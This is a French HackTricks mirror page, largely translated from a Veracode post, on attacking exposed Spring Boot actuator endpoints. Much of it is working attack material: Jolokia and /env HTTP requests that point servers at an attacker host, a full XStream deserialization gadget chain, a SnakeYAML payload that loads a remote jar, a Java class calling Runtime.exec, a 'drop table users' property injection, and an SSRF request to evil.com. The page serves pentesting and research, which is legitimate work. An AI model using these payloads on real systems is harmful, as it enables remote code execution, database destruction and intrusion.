Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 23:20:49 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

22 KiB
Raw Blame History

Spring Actuators

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bypass d'authentification Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Exploitation des actuateurs Spring Boot

copié depuis https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Le framework Spring Boot comprend un certain nombre de fonctionnalités appelées actuateurs pour vous aider à surveiller et gérer votre application web lorsque vous la déployez en production. Destinés à être utilisés pour l'audit, la santé et la collecte de métriques, ils peuvent également ouvrir une porte cachée vers votre serveur en cas de mauvaise configuration.

Lorsqu'une application Spring Boot est en cours d'exécution, elle enregistre automatiquement plusieurs points de terminaison (tels que '/health', '/trace', '/beans', '/env', etc.) dans le processus de routage. Pour Spring Boot 1 - 1.4, ils sont accessibles sans authentification, ce qui pose d'importants problèmes de sécurité. À partir de la version Spring 1.5, tous les points de terminaison à l'exception de '/health' et '/info' sont considérés comme sensibles et sécurisés par défaut, mais cette sécurité est souvent désactivée par les développeurs d'applications.

Les points de terminaison Actuator suivants pourraient potentiellement avoir des implications en matière de sécurité conduisant à des vulnérabilités possibles :

  • /dump - affiche un aperçu des threads (y compris une trace de la pile)
  • /trace - affiche les derniers messages HTTP (qui peuvent inclure des identifiants de session)
  • /logfile - affiche le contenu du fichier journal
  • /shutdown - arrête l'application
  • /mappings - affiche toutes les correspondances du contrôleur MVC
  • /env - fournit un accès à l'environnement de configuration
  • /actuator/env
  • /restart - redémarre l'application
  • /heapdump - construit et renvoie un vidage de la mémoire utilisée par notre application JVM

Pour Spring 1x, ils sont enregistrés sous l'URL racine, et dans 2x, ils ont été déplacés vers le chemin de base "/actuator/".

Exploitation :

La plupart des actuateurs ne prennent en charge que les requêtes GET et révèlent simplement des données de configuration sensibles, mais certains d'entre eux sont particulièrement intéressants pour les chasseurs de shell :

1. Exécution de code à distance via '/jolokia'

Si la bibliothèque Jolokia est présente dans le classpath de l'application cible, elle est automatiquement exposée par Spring Boot sous le point de terminaison '/jolokia' de l'actuateur. Jolokia permet l'accès HTTP à tous les MBeans enregistrés et est conçu pour effectuer les mêmes opérations que celles que vous pouvez effectuer avec JMX. Il est possible de lister toutes les actions MBeans disponibles en utilisant l'URL :

http://127.0.0.1:8090/jolokia/list

Encore une fois, la plupart des actions MBeans ne révèlent que des données système, mais l'une d'entre elles est particulièrement intéressante :

reloadByURL

L'action 'reloadByURL', fournie par la bibliothèque Logback, nous permet de recharger la configuration de journalisation à partir d'une URL externe. Elle peut être déclenchée simplement en accédant à : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Alors, pourquoi devrions-nous nous soucier de la configuration de journalisation ? Principalement pour deux raisons :

  1. La configuration a un format XML et, bien sûr, Logback l'analyse avec les entités externes activées, ce qui le rend vulnérable aux attaques XXE aveugles.
  2. La configuration Logback dispose de la fonctionnalité 'Obtention de variables à partir de JNDI'. Dans le fichier XML, nous pouvons inclure une balise comme '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' et l'attribut name sera transmis à la méthode DirContext.lookup(). Si nous pouvons fournir un nom arbitraire à la fonction .lookup(), nous n'avons même pas besoin d'XXE ou de HeapDump car cela nous donne une exécution de code à distance complète.

Comment ça marche :

  1. Un attaquant demande l'URL mentionnée ci-dessus pour exécuter la fonction 'reloadByURL', fournie par la classe 'qos.logback.classic.jmx.JMXConfigurator'.

  2. La fonction 'reloadByURL' télécharge une nouvelle configuration depuis http://artsploit.com/logback.xml et l'analyse en tant que configuration Logback. Cette configuration malveillante devrait avoir le contenu suivant :

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Lorsque ce fichier est analysé sur le serveur vulnérable, il crée une connexion vers le serveur LDAP contrôlé par l'attaquant spécifié dans la valeur du paramètre "env-entry-name", ce qui entraîne une résolution JNDI. Le serveur LDAP malveillant peut renvoyer un objet de type 'Référence' pour déclencher une exécution du bytecode fourni sur l'application cible. Les attaques JNDI sont bien expliquées dans ce document de recherche de MicroFocus. La nouvelle technique d'exploitation JNDI (décrite précédemment dans notre blog) fonctionne également ici, car Tomcat est le serveur d'application par défaut dans le framework Spring Boot.

2. Modification de la configuration via '/env'

Si les bibliothèques Spring Cloud sont présentes dans le classpath, le point de terminaison '/env' vous permet de modifier les propriétés environnementales de Spring. Tous les beans annotés avec '@ConfigurationProperties' peuvent être modifiés et réassociés. De nombreuses propriétés que nous pouvons contrôler sont répertoriées sur le point de terminaison '/configprops' de l'actuateur. En réalité, il y en a des tonnes, mais il n'est absolument pas clair ce que nous devons modifier pour obtenir quelque chose. Après avoir passé quelques jours à jouer avec eux, nous avons trouvé ceci :

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Cette propriété modifie l'URL du service Eureka vers une valeur arbitraire. Le serveur Eureka est normalement utilisé comme serveur de découverte, et presque toutes les applications Spring Cloud s'y enregistrent et y envoient des mises à jour d'état. Si vous avez la chance d'avoir Eureka-Client <1.8.7 dans le classpath cible (il est normalement inclus dans Spring Cloud Netflix), vous pouvez exploiter la vulnérabilité de désérialisation XStream présente dans celui-ci. Tout ce que vous avez à faire est de définir la propriété 'eureka.client.serviceUrl.defaultZone' sur l'URL de votre serveur (http://artsploit.com/n/xstream) via '/env' et ensuite appeler l'endpoint '/refresh'. Après cela, votre serveur devrait servir la charge utile XStream avec le contenu suivant :

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Ce payload XStream est une version légèrement modifiée de la chaîne de gadgets ImageIO JDK-only de la recherche Marshalsec. La seule différence ici est l'utilisation de LinkedHashSet pour déclencher la méthode 'jdk.nashorn.internal.objects.NativeString.hashCode()'. Le payload original utilise java.lang.Map pour obtenir le même comportement, mais la configuration XStream d'Eureka a un convertisseur personnalisé pour les maps qui le rend inutilisable. Le payload ci-dessus n'utilise pas de maps du tout et peut être utilisé pour exécuter du code à distance sans contraintes supplémentaires.

En utilisant Spring Actuators, vous pouvez réellement exploiter cette vulnérabilité même si vous n'avez pas accès à un serveur Eureka interne ; vous avez seulement besoin d'un point de terminaison "/env" disponible.

Autres paramètres utiles :

spring.datasource.tomcat.validationQuery=drop+table+users - vous permet de spécifier n'importe quelle requête SQL, qui sera automatiquement exécutée sur la base de données actuelle. Cela peut être n'importe quelle instruction, y compris une insertion, une mise à jour ou une suppression.

Exploiting Spring Boot Actuators Drop Table

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - vous permet de modifier la chaîne de connexion JDBC actuelle.

Le dernier paramètre semble intéressant, mais le problème est que lorsque l'application exécutant la connexion à la base de données est déjà établie, la simple mise à jour de la chaîne JDBC n'a aucun effet. Heureusement, il existe une autre propriété qui peut nous aider dans ce cas :

spring.datasource.tomcat.max-active=777

Le tour que nous pouvons utiliser ici est d'augmenter le nombre de connexions simultanées à la base de données. Ainsi, nous pouvons modifier la chaîne de connexion JDBC, augmenter le nombre de connexions, puis envoyer de nombreuses requêtes à l'application pour simuler une charge importante. Sous cette charge, l'application créera une nouvelle connexion à la base de données avec la nouvelle chaîne JDBC malveillante mise à jour. J'ai testé cette technique localement avec Mysql et cela fonctionne parfaitement.

Exploiting Spring Boot Actuators Max Active

Mis à part cela, il y a d'autres propriétés qui semblent intéressantes, mais qui ne sont pas vraiment utiles en pratique :

spring.datasource.url - chaîne de connexion à la base de données (utilisée uniquement pour la première connexion)

spring.datasource.jndiName - chaîne JNDI de la base de données (utilisée uniquement pour la première connexion)

spring.datasource.tomcat.dataSourceJNDI - chaîne JNDI de la base de données (non utilisée du tout)

spring.cloud.config.uri=http://artsploit.com/ - URL de configuration de Spring Cloud (n'a aucun effet après le démarrage de l'application, seules les valeurs initiales sont utilisées).

Ces propriétés n'ont aucun effet à moins que l'endpoint '/restart' ne soit appelé. Cet endpoint redémarre tout le ApplicationContext, mais il est désactivé par défaut.

Il y a beaucoup d'autres propriétés intéressantes, mais la plupart d'entre elles n'ont pas d'effet immédiat après leur modification.

N.B. Dans Spring Boot 2x, le format de requête pour modifier les propriétés via l'endpoint '/env' est légèrement différent (il utilise le format json), mais l'idée est la même.

Un exemple d'application vulnérable :

Si vous souhaitez tester cette vulnérabilité localement, j'ai créé une application Spring Boot simple sur ma page Github. Tous les payloads devraient fonctionner là-bas, sauf les paramètres de la base de données (à moins que vous ne les configuriez).

Découverte en boîte noire :

Une liste complète des actuateurs par défaut peut être trouvée ici : https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Gardez à l'esprit que les développeurs d'applications peuvent créer leurs propres endpoints en utilisant l'annotation @Endpoint.

Mise à jour mai 2019 :

Il existe un moyen plus fiable d'obtenir une RCE via une modification des propriétés environnementales de Spring.

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Cette requête modifie la propriété 'spring.cloud.bootstrap.location', qui est utilisée pour charger une configuration externe et la parser au format YAML. Pour que cela se produise, nous devons également appeler l'endpoint '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Lorsque la configuration YAML est récupérée depuis le serveur distant, elle est analysée avec la bibliothèque SnakeYAML, qui est également vulnérable aux attaques de désérialisation. La charge utile (yaml-payload.yml) peut être générée en utilisant la recherche Marshalsec mentionnée précédemment :

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

La désérialisation de ce fichier déclenche l'exécution du constructeur de ScriptEngineManager avec le URLClassLoader fourni. En résumé, cela conduit à la méthode 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', qui tente de trouver toutes les implémentations de l'interface 'ScriptEngineFactory' dans toutes les bibliothèques du classpath. Étant donné que nous pouvons ajouter une nouvelle bibliothèque via URLClassLoader, nous pouvons fournir une nouvelle 'ScriptEngineFactory' avec le bytecode malveillant à l'intérieur. Pour ce faire, nous devons créer une archive jar avec les fichiers obligatoires suivants : yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class doit contenir le bytecode réel, avec la charge utile malveillante dans le constructeur.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory devrait être simplement un fichier texte contenant une référence complète à 'artsploit.AwesomeScriptEngineFactory', afin que le ServiceLoader sache où trouver la classe: artsploit.AwesomeScriptEngineFactory. Encore une fois, cette technique d'exploitation nécessite que Spring Cloud soit dans le classpath, mais contrairement à la charge utile XStream d'Eureka, elle fonctionne même dans la dernière version. Vous pouvez trouver la charge utile complète dans mon projet github: yaml-payload.

Env + H2 RCE

Consultez cette page pour savoir comment exploiter la combinaison /env + H2: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

SSRF sur Spring Boot grâce à une interprétation incorrecte du chemin d'accès

À partir de cette recherche: Le framework Spring accepte le caractère séparateur de paramètre de matrice ; avant la première barre oblique du chemin d'accès HTTP:

GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

Dans un scénario comme celui-ci :

Étant donné que Spring permet n'importe quel caractère après le séparateur de paramètres de matrice, il devient possible d'utiliser le caractère @ pour accéder à un point de terminaison arbitraire.

Voici un exemple de requête d'exploitation :

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Plus d'informations

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥